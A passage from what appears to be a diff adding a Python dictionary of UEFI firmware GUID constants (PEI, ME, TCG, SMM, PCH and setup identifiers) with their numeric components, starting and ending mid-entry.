0xB7, 0xE7, 0xCB, 0xBD, 0xA3, 0x37, 0x1E, 0xF8], + 'IDE_HPA_INTERFACE_GUID': [0x51AA65FC, 0x82B6, 0x49E6, 0x95, 0xE2, 0xE6, 0x82, 0x7A, 0x8D, 0x7D, 0xB4], + 'IDE_POWER_MGMT_INTERFACE_GUID': [0x67BC3883, 0x7E79, 0x4BC1, 0xA3, 0x3E, 0x3A, 0xF7, 0xD1, 0x75, 0x89, 0xBA], + 'IDE_SECURITY_INTERFACE_GUID': [0xF4F63529, 0x281E, 0x4040, 0xA3, 0x13, 0xC1, 0xD6, 0x76, 0x63, 0x84, 0xBE], + 'IDE_SECURITY_PWNV_GUID': [0x69967a8c, 0x1159, 0x4522, 0xaa, 0x89, 0x74, 0xcd, 0xc6, 0xe5, 0x99, 0xa0], + 'IDE_SETUP_PROTOCOL_GUID': [0x5578ae16, 0xf1c9, 0x4e8f, 0xb1, 0x29, 0xba, 0x7, 0xf8, 0xfc, 0xf8, 0x4a], + 'IDE_SMART_INTERFACE_GUID': [0xFFBD9AD2, 0xF1DB, 0x4F92, 0xA6, 0x49, 0xEB, 0x9E, 0xED, 0xEA, 0x86, 0xB5], + 'IFFS_ACPI_TABLE_STORAGE_GUID': [0x60ac3a8f, 0x4d66, 0x4cd4, 0x89, 0x5a, 0xc3, 0xf0, 0x6e, 0x66, 0x65, 0xee], + 'IFFS_GLOBAL_NVS_AREA_PROTOCOL_GUID': [0xa5559f06, 0x6415, 0x4759, 0x88, 0x69, 0xde, 0x15, 0xf9, 0xcd, 0x9c, 0x9b], + 'IFFS_GPT_GUID': [0xD3BFE2DE, 0x3DAF, 0x11DF, 0xba, 0x40, 0xe3, 0xa5, 0x56, 0xd8, 0x95, 0x93], + 'IFFS_INFO_PROTOCOL_GUID': [0xd231db5b, 0x4a9c, 0x4092, 0xa8, 0xc5, 0x9c, 0xa0, 0xbc, 0x7d, 0x6a, 0xa6], + 'IFFS_PARTITION_STATUS_PROTOCOL_GUID': [0x65639144, 0xd492, 0x4328, 0xa4, 0x98, 0xf4, 0xb5, 0x54, 0x5e, 0x4a, 0x30], + 'IFFS_PERSISTENT_DATA_GUID': [0xf9f0b131, 0xf346, 0x4f16, 0x80, 0xdd, 0xf9, 0x41, 0x07, 0x2b, 0x3a, 0x7d], + 'IFFS_PLATFORM_POLICY_PROTOCOL_GUID': [0x42bbaca3, 0x7161, 0x4891, 0xac, 0x10, 0xc7, 0x5e, 0x2e, 0x4d, 0xf6, 0x14], + 'IFFS_PPI_GUID': [0x3d0e663a, 0xdc72, 0x4489, 0x87, 0xc5, 0xe4, 0x9e, 0xe7, 0x73, 0xa4, 0x52], + 'IGD_OPREGION_PROTOCOL_GUID': [0xcdc5dddf, 0xe79d, 0x41ec, 0xa9, 0xb0, 0x65, 0x65, 0x49, 0xd, 0xb9, 0xd3], + 'INTEL_MEBX_PROTOCOL_GUID': [0x01ab1829, 0xcecd, 0x4cfa, 0xa1, 0x8c, 0xea, 0x75, 0xd6, 0x6f, 0x3e, 0x74], + 'LEGACY_DEV_ORDER_GUID': [0xA56074DB, 0x65FE, 0x45F7, 0xBD, 0x21, 0x2D, 0x2B, 0xDD, 0x8E, 0x96, 0x52], + 'LOAD_FILE_PROTOCOL_GUID': [0x56EC3091, 0x954C, 0x11d2, 0x8E, 0x3F, 0x00, 0xA0, 0xC9, 0x69, 0x72, 0x3B], + 'MAIN_FORM_SET_GUID': [0x985eee91, 0xbcac, 0x4238, 0x87, 0x78, 0x57, 0xef, 0xdc, 0x93, 0xf2, 0x4e], + 'MDES_STATUS_CODE_PROTOCOL_GUID': [0xe5d0875a, 0xf647, 0x4e16, 0xbe, 0x4d, 0x95, 0x02, 0x40, 0x29, 0xcc, 0x44], + 'MEBX_FILE_GUID': [0x7c81c66a, 0x4f11, 0x47ab, 0x82, 0xd3, 0x67, 0xc4, 0xd6, 0x35, 0xae, 0xd1], + 'MEMORY_ONLY_RESET_CONTROL_GUID': [0xe20939be, 0x32d4, 0x41be, 0xa1, 0x50, 0x89, 0x7f, 0x85, 0xd4, 0x98, 0x29], + 'MEM_INFO_PROTOCOL_GUID': [0x6f20f7c8, 0xe5ef, 0x4f21, 0x8d, 0x19, 0xed, 0xc5, 0xf0, 0xc4, 0x96, 0xae], + 'MEUD_ERROR_GUID': [0x732BD39, 0xD6B0, 0x4039, 0xB6, 0xC2, 0x96, 0x54, 0x46, 0x6D, 0xE5, 0x25], + 'MEUD_FILE_GUID': [0xfeaaa7a6, 0xcb95, 0x4670, 0xb4, 0x99, 0x87, 0x7f, 0xa6, 0xca, 0x6b, 0xae], + 'ME_ALERT_AT_HANDLER_GUID': [0xb441df87, 0x8d94, 0x4811, 0x85, 0xf7, 0xf, 0x9a, 0x7b, 0xf8, 0x9d, 0x2a], + 'ME_BIOS_PAYLOAD_DATA_PROTOCOL_GUID': [0x71a19494, 0x2ab6, 0x4e96, 0x85, 0x81, 0xcf, 0x34, 0x25, 0x42, 0x73, 0xfe], + 'ME_INFO_SETUP_GUID': [0x78259433, 0x7B6D, 0x4DB3, 0x9A, 0xE8, 0x36, 0xC4, 0xC2, 0xC3, 0xA1, 0x7D], + 'ME_PLATFORM_GET_RESET_TYPE_GUID': [0xb8cdced7, 0xbdc4, 0x4464, 0x9a, 0x1a, 0xff, 0x3f, 0xbd, 0xf7, 0x48, 0x69], + 'MICROCODE_LOADER_PPI_GUID': [0x9B6EECF6, 0xFBDC, 0x4db6, 0x95, 0x62, 0xD2, 0x5F, 0x40, 0xD5, 0x76, 0x61], + 'MINI_SETUP_RESOURCE_SECTION_GUID': [0x97e409e6, 0x4cc1, 0x11d9, 0x81, 0xf6, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0], + 'MXM30_PEI_GUID': [0x2ef1ba1a, 0xc836, 0x4a50, 0xbf, 0x89, 0x52, 0x5f, 0xf2, 0x9f, 0xf7, 0x87], + 'MXM3_EFI_GUID': [0x4EA9D4FE, 0xE6F6, 0x410B, 0x90, 0x37, 0x0f, 0x98, 0xB5, 0x96, 0x8B, 0x65], + 'MXMOEM1_GUID': [0x6707536e, 0x46af, 0x42d3, 0x8f, 0x6c, 0x15, 0xf2, 0xf2, 0x2, 0xc2, 0x34], + 'NBCI_EFI_GUID': [0x4EA9D4FE, 0xE6F6, 0x410B, 0x80, 0x37, 0x0F, 0x98, 0xB5, 0x96, 0x8B, 0x65], + 'NETWORK_STACK_GUID': [0xD1405D16, 0x7AFC, 0x4695, 0xBB, 0x12, 0x41, 0x45, 0x9D, 0x36, 0x95, 0xA2], + 'NVRAM_HOB_GUID': [0xc0ec00fd, 0xc2f8, 0x4e47, 0x90, 0xef, 0x9c, 0x81, 0x55, 0x28, 0x5b, 0xec], + 'NVRAM_MAILBOX_ADDRESS_VARIABLE_GUID': [0x54913a6d, 0xf4ee, 0x4cdb, 0x84, 0x75, 0x74, 0x6, 0x2b, 0xfc, 0xec, 0xf5], + 'OEM_RECOVERY_CAPSULE_GUID': [0x595a6edc, 0x6d2c, 0x474a, 0x90, 0x82, 0x3b, 0x99, 0x28, 0x51, 0xdf, 0xfe], + 'OEM_ROM_HOLE_0_GUID': [0x05ca01fc, 0x0fc1, 0x11dc, 0x90, 0x11, 0x00, 0x17, 0x31, 0x53, 0xeb, 0xa8], + 'OEM_ROM_HOLE_1_GUID': [0x05ca01fd, 0x0fc1, 0x11dc, 0x90, 0x11, 0x00, 0x17, 0x31, 0x53, 0xeb, 0xa8], + 'OEM_TSE_VAR_GUID': [0xF4B2C007, 0x94A1, 0x4cd5, 0xA7, 0x10, 0xf4, 0x14, 0x1f, 0xce, 0xbc, 0xA0], + 'ONBOARD_RAID_GUID': [0x5d206dd3, 0x516a, 0x47dc, 0xa1, 0xbc, 0x6d, 0xa2, 0x4, 0xaa, 0xbe, 0x8], + 'OPAL_SEC_INIT_PROTOCOL_GUID': [0x59af16b0, 0x661d, 0x4865, 0xa3, 0x81, 0x38, 0xde, 0x68, 0x38, 0x5d, 0x8d], + 'OPROM_START_END_PROTOCOL_GUID': [0xf2a128ff, 0x257b, 0x456e, 0x9d, 0xe8, 0x63, 0xe7, 0xc7, 0xdc, 0xdf, 0xac], + 'PARTITION_VARIABLE_GUID': [0x8db699cc, 0xbc81, 0x41e2, 0xaa, 0xc6, 0xd8, 0x1d, 0x53, 0x0, 0xd7, 0x59], + 'PASSWORD_HOB_GUID': [0x79ce097a, 0x91aa, 0x41ff, 0xb3, 0xa8, 0x53, 0x45, 0x59, 0xb3, 0x0d, 0xb1], + 'PCH_DMI_TC_VC_PPI_GUID': [0xed097352, 0x9041, 0x445a, 0x80, 0xb6, 0xb2, 0x9d, 0x50, 0x9e, 0x88, 0x45], + 'PCH_EFI_RAID_DRIVER_EXECUTION_GUID': [0x99D5757C, 0xD906, 0x11E0, 0x8D, 0x78, 0x8D, 0xE4, 0x48, 0x24, 0x01, 0x9B], + 'PCH_INIT_PPI_GUID': [0xe8c7ce14, 0x1eed, 0x48fd, 0x83, 0x47, 0x8e, 0x55, 0x41, 0x10, 0xc0, 0xd9], + 'PCH_INIT_VARIABLE_GUID': [0xe6c2f70a, 0xb604, 0x4877, 0x85, 0xba, 0xde, 0xec, 0x89, 0xe1, 0x17, 0xeb], + 'PCH_ME_UMA_PPI_GUID': [0x8c376010, 0x2400, 0x4d7d, 0xb4, 0x7b, 0x9d, 0x85, 0x1d, 0xf3, 0xc9, 0xd1], + 'PCH_PLATFORM_POLICY_PPI_GUID': [0x22074e71, 0xbccc, 0x4517, 0x87, 0x57, 0x79, 0x95, 0xed, 0xfd, 0x80, 0x32], + 'PCH_RESET_CALLBACK_PROTOCOL_GUID': [0x3a3300ab, 0xc929, 0x487d, 0xab, 0x34, 0x15, 0x9b, 0xc1, 0x35, 0x62, 0xc0], + 'PCH_RESET_PROTOCOL_GUID': [0xdb63592c, 0xb8cc, 0x44c8, 0x91, 0x8c, 0x51, 0xf5, 0x34, 0x59, 0x8a, 0x5a], + 'PCH_SATA_CONTROLLER_DRIVER_GUID': [0xbb929da9, 0x68f7, 0x4035, 0xb2, 0x2c, 0xa3, 0xbb, 0x3f, 0x23, 0xda, 0x55], + 'PCH_USB_POLICY_PPI_GUID': [0xc02b0573, 0x2b4e, 0x4a31, 0xa3, 0x1a, 0x94, 0x56, 0x7b, 0x50, 0x44, 0x2c], + 'PEI_AMT_PLATFORM_POLICY_PPI_GUID': [0xb4a1208e, 0x4d9a, 0x4ea2, 0x9d, 0x6b, 0xe4, 0x1a, 0x61, 0xe6, 0xc5, 0xac], + 'PEI_AMT_STATUS_CODE_PPI_GUID': [0x881807d2, 0x98d1, 0x4ec9, 0xaf, 0xa0, 0x77, 0x46, 0xc4, 0x2f, 0x24, 0x49], + 'PEI_AP_STARTUP_FILE_GUID': [0xD1E59F50, 0xE8C3, 0x4545, 0xBF, 0x61, 0x11, 0xF0, 0x02, 0x23, 0x3C, 0x97], + 'PEI_ATA_CONTROLLER_PPI_GUID': [0xa1e2176f, 0xcbda, 0x4f32, 0x87, 0x56, 0x7d, 0x7a, 0xe5, 0x22, 0xd6, 0x93], + 'PEI_ATA_POLICY_PPI_GUID': [0x1b8ddea4, 0xdeb2, 0x4152, 0x91, 0xc2, 0xb7, 0x3c, 0xb1, 0x6c, 0xe4, 0x64], + 'PEI_BASE_MEMORY_TEST_GUID': [0xb6ec423c, 0x21d2, 0x490d, 0x85, 0xc6, 0xdd, 0x58, 0x64, 0xea, 0xa6, 0x74], + 'PEI_BIOS_ACM_FILE_GUID': [0x2D27C618, 0x7DCD, 0x41F5, 0xBB, 0x10, 0x21, 0x16, 0x6B, 0xE7, 0xE1, 0x43], + 'PEI_BLOCK_IO_PPI_GUID': [0x695d8aa1, 0x42ee, 0x4c46, 0x80, 0x5c, 0x6e, 0xa6, 0xbc, 0xe7, 0x99, 0xe3], + 'PEI_BOOT_SCRIPT_DONE_PPI_GUID': [0xFD7C4665, 0x34BE, 0x426b, 0xB1, 0xF8, 0x3A, 0xB7, 0x53, 0xCE, 0x44, 0xB0], + 'PEI_BOOT_SCRIPT_EXECUTER_PPI_GUID': [0xabd42895, 0x78cf, 0x4872, 0x84, 0x44, 0x1b, 0x5c, 0x18, 0x0b, 0xfb, 0xff], + 'PEI_CACHE_PPI_GUID': [0x9be4bc2, 0x790e, 0x4dea, 0x8b, 0xdc, 0x38, 0x5, 0x16, 0x98, 0x39, 0x44], + 'PEI_CACHE_PPI_GUID': [0xc153205a, 0xe898, 0x4c24, 0x86, 0x89, 0xa4, 0xb4, 0xbc, 0xc5, 0xc8, 0xa2], + 'PEI_CAPSULE_PPI_GUID': [0x3acf33ee, 0xd892, 0x40f4, 0xa2, 0xfc, 0x38, 0x54, 0xd2, 0xe1, 0x32, 0x3d], + 'PEI_CPU_IO_PPI_GUID': [0xe6af1f7b, 0xfc3f, 0x46da, 0xa8, 0x28, 0xa3, 0xb4, 0x57, 0xa4, 0x42, 0x82], + 'PEI_CPU_PLATFORM_POLICY_PPI_GUID': [0x7b8ee7a1, 0x4e35, 0x4556, 0xbb, 0x56, 0x67, 0x97, 0xe2, 0x44, 0x45, 0xc2], + 'PEI_END_OF_PEI_PHASE_PPI_GUID': [0x605EA650, 0xC65C, 0x42e1, 0xBA, 0x80, 0x91, 0xA5, 0x2A, 0xB6, 0x18, 0xC6], + 'PEI_FLASH_MAP_PPI_GUID': [0xf34c2fa0, 0xde88, 0x4270, 0x84, 0x14, 0x96, 0x12, 0x22, 0xf4, 0x52, 0x1c], + 'PEI_HECI_PPI_GUID': [0xEE0EA811, 0xFBD9, 0x4777, 0xB9, 0x5A, 0xBA, 0x4F, 0x71, 0x10, 0x1F, 0x74], + 'PEI_IDE_RECOVERY_NATIVE_MODE_PPI_GUID': [0x7e13637a, 0xc3f8, 0x43d1, 0xb0, 0x51, 0xed, 0x19, 0xd7, 0x8, 0xec, 0x7a], + 'PEI_IFFS_TRANSITION_START_PPI_GUID': [0xde8f2878, 0x36d5, 0x498e, 0xba, 0x59, 0x16, 0x8c, 0x26, 0x47, 0xb3, 0x35], + 'PEI_IN_MEMORY_GUID': [0x643b8786, 0xb417, 0x48d2, 0x8f, 0x5e, 0x78, 0x19, 0x93, 0x1c, 0xae, 0xd8], + 'PEI_ME_PLATFORM_POLICY_PPI_GUID': [0x7ae3ceb7, 0x2ee2, 0x48fa, 0xaa, 0x49, 0x35, 0x10, 0xbc, 0x83, 0xca, 0xbf], + 'PEI_PCI_CFG_PPI_GUID': [0xe1f2eba0, 0xf7b9, 0x4a26, 0x86, 0x20, 0x13, 0x12, 0x21, 0x64, 0x2a, 0x90], + 'PEI_PERMANENT_MEMORY_INSTALLED_PPI_GUID': [0xf894643d, 0xc449, 0x42d1, 0x8e, 0xa8, 0x85, 0xbd, 0xd8, 0xc6, 0x5b, 0xde], + 'PEI_PLATFORM_MEMORY_RANGE_PPI_GUID': [0x30eb2979, 0xb0f7, 0x4d60, 0xb2, 0xdc, 0x1a, 0x2c, 0x96, 0xce, 0xb1, 0xf4], + 'PEI_PLATFORM_MEMORY_SIZE_PPI_GUID': [0x9a7ef41e, 0xc140, 0x4bd1, 0xb8, 0x84, 0x1e, 0x11, 0x24, 0xb, 0x4c, 0xe6], + 'PEI_READ_ONLY_VARIABLE_ACCESS_PPI_GUID': [0x3cdc90c6, 0x13fb, 0x4a75, 0x9e, 0x79, 0x59, 0xe9, 0xdd, 0x78, 0xb9, 0xfa], + 'PEI_RESET_PPI_GUID': [0xef398d58, 0x9dfd, 0x4103, 0xbf, 0x94, 0x78, 0xc6, 0xf4, 0xfe, 0x71, 0x2f], + 'PEI_S3_RESUME_PPI_GUID': [0x4426CCB2, 0xE684, 0x4a8a, 0xAE, 0x40, 0x20, 0xD4, 0xB0, 0x25, 0xB7, 0x10], + 'PEI_SECURITY_PPI_GUID': [0x1388066e, 0x3a57, 0x4efa, 0x98, 0xf3, 0xc1, 0x2f, 0x3a, 0x95, 0x8a, 0x29], + 'PEI_SMBUS2_PPI_GUID': [0x9ca93627, 0xb65b, 0x4324, 0xa2, 0x2, 0xc0, 0xb4, 0x61, 0x76, 0x45, 0x43], + 'PEI_SMBUS_POLICY_PPI_GUID': [0x63b6e435, 0x32bc, 0x49c6, 0x81, 0xbd, 0xb7, 0xa1, 0xa0, 0xfe, 0x1a, 0x6c], + 'PEI_SMBUS_PPI_GUID': [0xabd42895, 0x78cf, 0x4872, 0x84, 0x44, 0x1b, 0x5c, 0x18, 0xb, 0xfb, 0xda], + 'PEI_SMM_ACCESS_PPI_GUID': [0x268f33a9, 0xcccd, 0x48be, 0x88, 0x17, 0x86, 0x5, 0x3a, 0xc3, 0x2e, 0xd6], + 'PEI_SMM_CONTROL_PPI_GUID': [0x61c68702, 0x4d7e, 0x4f43, 0x8d, 0xef, 0xa7, 0x43, 0x5, 0xce, 0x74, 0xc5], + 'PEI_SPI_PPI_GUID': [0x64e42e92, 0xe958, 0x4e99, 0x90, 0xe2, 0xf7, 0xfd, 0x90, 0xa7, 0x6c, 0x59], + 'PEI_STALL_PPI_GUID': [0x1f4c6f90, 0xb06b, 0x48d8, 0xa2, 0x01, 0xba, 0xe5, 0xf1, 0xcd, 0x7d, 0x56], + 'PEI_STATUS_CODE_MEMORY_PPI_GUID': [0x26f8ab01, 0xd3cd, 0x489c, 0x98, 0x4f, 0xdf, 0xde, 0xf7, 0x68, 0x39, 0x5b], + 'PEI_STATUS_CODE_PPI_GUID': [0x229832d3, 0x7a30, 0x4b36, 0xb8, 0x27, 0xf4, 0xc, 0xb7, 0xd4, 0x54, 0x36], + 'PEI_TCG_INTERNAL_FLAGS_GUID': [0x70fff0ff, 0xa543, 0x45b9, 0x8b, 0xe3, 0x1b, 0xdb, 0x90, 0x41, 0x20, 0x80], + 'PEI_TCG_PPI_GUID': [0x177d39d2, 0x43b8, 0x40c8, 0x9a, 0xe1, 0x3c, 0x51, 0x98, 0xd6, 0x94, 0x1e], + 'PEI_TPM_INITIALIZED_PPI_GUID': [0xe9db0d58, 0xd48d, 0x47f6, 0x9c, 0x6e, 0x6f, 0x40, 0xe8, 0x6c, 0x7b, 0x41], + 'PEI_TPM_PPI_2_GUID': [0xca4853f4, 0xe94b, 0x42b4, 0x86, 0x42, 0xcd, 0xe2, 0x8a, 0x7f, 0xac, 0x2d], + 'PEI_TPM_PPI_GUID': [0xca4853f4, 0xe94b, 0x42b4, 0x86, 0x42, 0xcd, 0xe2, 0x8a, 0x7f, 0xac, 0x2d], + 'PEI_TPM_PPI_GUID': [0xe9db0d58, 0xd48d, 0x47f6, 0x9c, 0x6e, 0x6f, 0x40, 0xe8, 0x6c, 0x7b, 0x41], + 'PEI_TXT_MEMORY_UNLOCKED_PPI_GUID': [0x38cdd10b, 0x767d, 0x4f6e, 0xa7, 0x44, 0x67, 0xee, 0x1d, 0xfe, 0x2f, 0xa5], + 'PEI_USB_CONTROLLER_PPI_GUID': [0x3bc1f6de, 0x693e, 0x4547, 0xa3, 0x0, 0x21, 0x82, 0x3c, 0xa4, 0x20, 0xb2], + 'PERF_TUNE_PPI_GUID': [0xc49189f3, 0x1d4c, 0x4ad7, 0xa4, 0x39, 0xd0, 0x13, 0xab, 0x72, 0x09, 0x31], + 'PERF_TUNE_PROTOCOL_GUID': [0xdd6c613a, 0x5a77, 0x4b4f, 0xa6, 0x1e, 0x3b, 0xdd, 0x2a, 0xe2, 0x1d, 0x81], + 'PERF_TUNE_WDT_PPI_GUID': [0xa7c88fae, 0xebec, 0x45ed, 0xa7, 0xc5, 0x5f, 0xa7, 0x55, 0x17, 0x73, 0x06], + 'PERF_TUNE_WDT_PROTOCOL_GUID': [0xc0557eed, 0x9a89, 0x4770, 0x96, 0x26, 0xfc, 0xa0, 0x51, 0xf2, 0xba, 0x09], + 'PKPUB_KEY_GUID': [0xa6c0e11e, 0x929e, 0x42b3, 0x90, 0xcc, 0x4f, 0x77, 0x8e, 0x3, 0xff, 0x57], + 'PK_PUB_FFS_FILE_EFI_AUTH_VAR_GUID': [0x9E625A27, 0x4840, 0x47CC, 0xA6, 0xB5, 0x1E, 0x93, 0x11, 0xCF, 0xC6, 0x0E], + 'PLATFORM_IDE_PROTOCOL_GUID': [0x6737f69b, 0xb8cc, 0x45bc, 0x93, 0x27, 0xcc, 0xf5, 0xee, 0xf7, 0xc, 0xde], + 'PLATFORM_ME_HOOK_PPI_GUID': [0xe806424f, 0xd425, 0x4b1a, 0xbc, 0x26, 0x5f, 0x69, 0x03, 0x89, 0xa1, 0x5a], + 'PLATFORM_ME_HOOK_PROTOCOL_GUID': [0xbc52476e, 0xf67e, 0x4301, 0xb2, 0x62, 0x36, 0x9c, 0x48, 0x78, 0xaa, 0xc2], + 'POWER_MANAGEMENT_ACPI_TABLE_STORAGE_GUID': [0x299141bb, 0x211a, 0x48a5, 0x92, 0xc0, 0x6f, 0x9a, 0xa, 0x3a, 0x0, 0x6e], + 'PPM_PLATFORM_POLICY_PROTOCOL_GUID': [0x6f27e990, 0x7bc8, 0x42c9, 0x8f, 0x71, 0x99, 0x80, 0x6, 0x36, 0x93, 0xe9], + 'PPM_PROCESSOR_SUPPORT_PROTOCOL_3_GUID': [0xa60c7dcd, 0x512f, 0x4f02, 0xb1, 0x80, 0x52, 0x2e, 0x1, 0x5e, 0x6, 0xb7], + 'PR_KEY_FFS_FILE_RAW_GUID': [0x3FEEC852, 0xF14C, 0x4E7F, 0x97, 0xFD, 0x4C, 0x3A, 0x8C, 0x5B, 0xBE, 0xCC], + 'PR_KEY_GUID': [0x4E0F9BD4, 0xE338, 0x4B26, 0x84, 0x3E, 0xBD, 0x3A, 0xD9, 0xB2, 0x83, 0x7B], + 'PTID_FFS_TABLE_STORAGE_GUID': [0x95DFCAE5, 0xBB28, 0x4d6b, 0xB1, 0xE2, 0x3A, 0xF3, 0xA6, 0xBF, 0x43, 0x4F], + 'RECOVERY_FORM_SET_GUID': [0x80e1202e, 0x2697, 0x4264, 0x9c, 0xc9, 0x80, 0x76, 0x2c, 0x3e, 0x58, 0x63], + 'ROM_CACHE_ENABLE_PPI_GUID': [0x36E835BB, 0x661D, 0x4D37, 0x8D, 0xE5, 0x88, 0x53, 0x25, 0xDA, 0xE9, 0x10], + 'ROM_IMAGE_ADDRESS_GUID': [0xDDE1BC72, 0xD45E, 0x4209, 0xAB, 0x85, 0x14, 0x46, 0x2D, 0x2F, 0x50, 0x74], + 'ROM_IMAGE_MEMORY_HOB_GUID': [0xee2f45d2, 0x5ba4, 0x441e, 0x8a, 0x1d, 0xaa, 0x22, 0xdf, 0xa3, 0xb6, 0xc5], + 'ROM_LAYOUT_FFS_GUID': [0x0DCA793A, 0xEA96, 0x42d8, 0xBD, 0x7B, 0xDC, 0x7F, 0x68, 0x4E, 0x38, 0xC1], + 'ROM_LAYOUT_SECTION_GUID': [0x88A15A4F, 0x977D, 0x4682, 0xB1, 0x7C, 0xDA, 0x1F, 0x31, 0x6C, 0x1F, 0x32], + 'RSDP_PLUS_PROTOCOL_GUID': [0xa33319b5, 0x8ee1, 0x45e0, 0x8c, 0x9f, 0x80, 0x9f, 0x5b, 0x9, 0x2, 0xcc], + 'SATA_CONTROLLER_PROTOCOL_GUID': [0x2acb6627, 0xdf02, 0x4e23, 0xb4, 0xf9, 0x6a, 0x93, 0xfa, 0x6e, 0x9d, 0xa6], + 'SA_PEG_DATA_HOB_GUID': [0x5f5d3502, 0x8a4b, 0x40ca, 0x88, 0xa2, 0x23, 0x05, 0x42, 0x7a, 0x13, 0x1a], + 'SA_PEG_DATA_VARIABLE_GUID': [0xc4975200, 0x64f1, 0x4fb6, 0x97, 0x73, 0xf6, 0xa9, 0xf8, 0x9d, 0x98, 0x5e], + 'SA_PEI_INIT_PPI_GUID': [0x9ea8911, 0xbe0d, 0x4230, 0xa0, 0x3, 0xed, 0xc6, 0x93, 0xb4, 0x8e, 0x11], + 'SA_PLATFORM_POLICY_PPI_GUID': [0x150ce416, 0xee63, 0x46b6, 0x8B, 0xA3, 0x73, 0x22, 0xBB, 0xE0, 0x46, 0x37], + 'SECURITY_FORM_SET_GUID': [0x981ceaee, 0x931c, 0x4a17, 0xb9, 0xc8, 0x66, 0xc7, 0xbc, 0xfd, 0x77, 0xe1], + 'SERIAL_RECOVERY_CAPSULE_GUID': [0x699add70, 0x8554, 0x4993, 0x83, 0xf6, 0xd2, 0xcd, 0xc0, 0x81, 0xdd, 0x85], + 'SETUP_DEFAULTS_FFS_GUID': [0x9221315b, 0x30bb, 0x46b5, 0x81, 0x3e, 0x1b, 0x1b, 0xf4, 0x71, 0x2b, 0xd3], + 'SETUP_GUID': [0xEC87D643, 0xEBA4, 0x4BB5, 0xA1, 0xE5, 0x3F, 0x3E, 0x36, 0xB2, 0x0D, 0xA9], + 'SGOEM_ACPI_SSDT_GUID': [0x5B232086, 0x350A, 0x42c7, 0xA7, 0x0E, 0x34, 0x97, 0xB5, 0x76, 0x5D, 0x85], + 'SGTPV_ACPI_SSDT_GUID': [0x6A061113, 0xFE54, 0x4A07, 0xA2, 0x8E, 0x0A, 0x69, 0x35, 0x9E, 0xB0, 0x69], + 'SG_ACPI_TABLE_STORAGE_GUID': [0xcacb3817, 0x81e6, 0x497e, 0x87, 0xff, 0xc8, 0xfa, 0x8f, 0x24, 0xec, 0x28], + 'SG_INFO_HOB_GUID': [0x648ce07b, 0xae5d, 0x4973, 0xbd, 0x3c, 0x8c, 0x91, 0x53, 0xc0, 0x5d, 0xc5], + 'SG_PEI_INIT_PPI_GUID': [0xaa40d00e, 0x5b9b, 0x4dad, 0xa4, 0x87, 0xfc, 0x1b, 0xcb, 0xef, 0x81, 0x70], + 'SG_PLATFORM_POLICY_PPI_GUID': [0xa391e822, 0x7044, 0x4cf4, 0xbe, 0x5b, 0x34, 0x5e, 0x44, 0xb8, 0x62, 0x7c], + 'SIO_DEV_STATUS_VAR_GUID': [0x5820de98, 0xfc8e, 0x4b0b, 0xa4, 0xb9, 0xa, 0x94, 0xd, 0x16, 0x2a, 0x7e], + 'SIO_IO_PROTOCOL_GUID': [0x964e5b21, 0x6000, 0x23d2, 0x9e, 0x39, 0x1, 0xa0, 0xc9, 0x69, 0x72, 0x3b], + 'SMBIOS_FLASH_DATA_FFS_GUID': [0xFD44820B, 0xF1AB, 0x41C0, 0xAE, 0x4E, 0x0C, 0x55, 0x55, 0x6E, 0xB9, 0xBD], + 'SMM_CHILD_DISPATCHER2_GUID': [0x950c3a26, 0xe0c2, 0x491c, 0xb6, 0xb2, 0x3, 0x74, 0xf5, 0xc7, 0x3b, 0x96], + 'SMM_COMMUNICATE_HEADER_GUID': [0xF328E36C, 0x23B6, 0x4a95, 0x85, 0x4B, 0x32, 0xE1, 0x95, 0x34, 0xCD, 0x75], + 'SMM_HECI_PROTOCOL_GUID': [0xFC9A50C1, 0x8B3D, 0x40D0, 0x99, 0x12, 0x6E, 0x26, 0xD7, 0x89, 0x6C, 0xBA], + 'SMRAM_CPU_DATA_HEADER_GUID': [0x5848fd2d, 0xd6af, 0x474b, 0x82, 0x75, 0x95, 0xdd, 0xe7, 0x0a, 0xe8, 0x23], + 'SMRAM_CPU_DATA_VARIABLE_GUID': [0x429501d9, 0xe447, 0x40f4, 0x86, 0x7b, 0x75, 0xc9, 0x3a, 0x1d, 0xb5, 0x4e], + 'SM_BUS_CONTROLLER_IDENTIFIER_GUID': [0x882f2546, 0xef1f, 0x4090, 0x9f, 0x9c, 0x93, 0x84, 0x5a, 0xd7, 0x84, 0x1c], + 'SYSTEM_ACCESS_GUID': [0xE770BB69, 0xBCB4, 0x4D04, 0x9E, 0x97, 0x23, 0xFF, 0x94, 0x56, 0xFE, 0xAC], + 'TCG_EFI_ACPI_TABLE_GUID': [0xeb9d2d30, 0x2d88, 0x11d3, 0x9a, 0x16, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'TCG_EFI_HOB_LIST_GUID': [0x7739f24c, 0x93d7, 0x11d4, 0x9a, 0x3a, 0x0, 0x90, 0x27, 0x3f, 0xc1, 0x4d], + 'TCG_INTERNAL_FLAGS_GUID': [0x70fff0ff, 0xa543, 0x45b9, 0x8b, 0xe3, 0x1b, 0xdb, 0x90, 0x41, 0x20, 0x80], + 'TCG_LOCK_DOWN_VAR_GUID': [0x6e605536, 0xa30a, 0x4d56, 0x93, 0x9e, 0x1c, 0x37, 0x3f, 0x79, 0x8d, 0x7b], + 'TCG_PLATFORM_SETUP_PEI_POLICY_GUID': [0xa76b4e22, 0xb50a, 0x401d, 0x8b, 0x35, 0x51, 0x24, 0xb0, 0xba, 0x41, 0x4], + 'TCG_PLATFORM_SETUP_POLICY_GUID': [0xbb6cbeff, 0xe072, 0x40d2, 0xa6, 0xeb, 0xba, 0xb7, 0x5b, 0xde, 0x87, 0xe7], + 'TCG_PPI_SYNC_FLAG_GUID': [0xf3ed95df, 0x828e, 0x41c7, 0xbc, 0xa0, 0x16, 0xc4, 0x19, 0x65, 0xa6, 0x34], + 'TDTHI_PROTOCOL_FIXED_GUID': [0xfa8f55e8, 0xab22, 0x42dd, 0xb9, 0x16, 0x7d, 0xce, 0x39, 0x00, 0x25, 0x74], + 'TDTHI_PROTOCOL_GUID': [0x3C4852D6, 0xD47B, 0x4f46, 0xB0, 0x5E, 0xB5, 0xED, 0xC1, 0xAA, 0x43, 0x0A], + 'TDT_VOLATILE_SETUP_DATA_GUID': [0x7b77fb8b, 0x1e0d, 0x4d7e, 0x95, 0x3f, 0x39, 0x80, 0xa2, 0x61, 0xe0, 0x76], + 'TEMPORARY_RAM_SUPPORT_PPI_GUID': [0xdbe23aa9, 0xa345, 0x4b97, 0x85, 0xb6, 0xb2, 0x26, 0xf1, 0x61, 0x73, 0x89], + 'TERMINAL_VAR_GUID': 